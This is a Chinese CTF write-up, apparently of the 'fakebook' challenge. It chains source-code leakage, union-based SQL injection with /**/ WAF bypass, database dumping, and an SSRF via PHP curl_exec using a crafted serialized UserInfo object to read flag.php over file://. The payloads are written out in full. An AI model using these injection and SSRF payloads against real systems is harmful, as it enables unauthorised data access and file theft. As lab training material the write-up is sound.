解题过程: 源码泄露 SQL注入 绕过waf 爆数据 ssrf漏洞
打开靶机
有一个登录和加入按钮
我们先扫一下目录,发现有 robot.txt 和 flag.php这两个目录
查看robots.txt
,发现user.php.bak
;查看 flag.php 发现没有回显内容
访问 /user.php.bak 文件,提示可以下载这个文件
打开这个文件,发现是一个php的文件,代码审计一下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现标红的代码,存在 **SSRF漏洞 **
产生SSRF漏洞的函数是 **curl_exec **
curl_exec(); curl支持很多协议,有ftp, ftps, http, https, gopher, telnet, dict, file, ldapa
<?php
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
$url = $_GET['url'];
echo(get($url));
?>
## http://127.0.0.1/cs.php/?url=file://E:/xp/phpstudy_pro/WWW/flag.php
能够任意文件读取
返回靶场页面,我们先测试一下有没有其他的注入点
我们先点击 ‘join’按钮,随意输入 username passwd age blog,
点击蓝色的 ‘aaa’
发现显示了我们输入的 username passwd age blog,这里 blog 有一个滑动行,可以进行滑动,但是看不到显示了什么,我们查看一下源代码
按照页面格式,确定‘ <iframe width=‘100%’ height=‘10em’ src=…’,是属于blog的内容,点击‘src='data: … ’的链接
我们会发现是百度的前端
在这里,想到,我们不是扫目录的时候,扫描出来一个 flag.php 吗,当时没有回显任何的内容,猜测可能是做了过滤:比如不允许http(s)的方式去访问这个文件(也就是外网不能访问这个文件的内容),那是不是内网就可以了呢,尝试在注册账号的时候再blog处,添加连接‘http://127.0.0.1/flag.php’,发现不允许这样添加,
但是如果我们添加‘http://bc92a0c7-31b0-4834-b5cc-ea467932f30e.node5.buuoj.cn/flag.php’这个链接的话,返回的还是空
如果是‘http://bc92a0c7-31b0-4834-b5cc-ea467932f30e.node5.buuoj.cn/robots.txt’,则返回的是
所以我们不能直接添加链接
在访问不同账户的时候,发现url一直在变,第一个账户是 ?no=1 第二个是 ?no=2 猜测存在sql注入
尝试sql注入:
不是字符型
发现 ‘?no=1 and 1=1#’和‘?no=1 and 1=2#’回显不一样,所以存在sql注入
发现有4列:?no=1 order by 4#
然后判断回显的位置:?no=-1 union select 1,2,3,4# 发现回显‘ no hack _ ’
应该是存在过滤,尝试绕过,先尝试绕过空格,用//代替,发现回显位在‘2’上
爆破数据库库名:?no=-1//union//select//1,database(),3,4#
爆表名:?no=-1//union//select//1,group_concat(table_name),3,4//from//information_schema.tables//where//table_schema=‘fakebook’#
爆列名:?no=-1//union//select//1,group_concat(column_name),3,4//from//information_schema.columns//where//table_name=‘users’#
爆字段:?no=-1//union//select//1,group_concat(no,‘‘,username,’’,passwd,‘~’,data),3,4//from//fakebook.users#
在爆出来的内容里发现有序列化的内容,按照位置,应该是‘data’的内容,即是 blog 的内容,只不过是序列化
仔细观察一下,发现类名是‘ UserInfo ’,与‘user.php.bak’文件的内容相匹配,并且我们在sql注入的时候都会返回‘/var/www/html/view.php**’所以工作目录应该是 ‘/var/www/html’
构造反序列化POC
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
}
$res = new UserInfo('aaa','111','www.baidu.com');
echo serialize($res);
## O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:111;s:4:"blog";s:13:"www.baidu.com";}
然后在‘4’处添加上我们的序列化的内容,记得内容加上单引号
发现 blog 处变成了 ‘www.baidu.com’,查看源代码,也是百度的前端
然后我们使用 ‘ file:// ’去读取文件,把百度的链接换成‘file:///var/www/html/flag.php’
查看源代码,点击属于 blog 的链接,拿到flag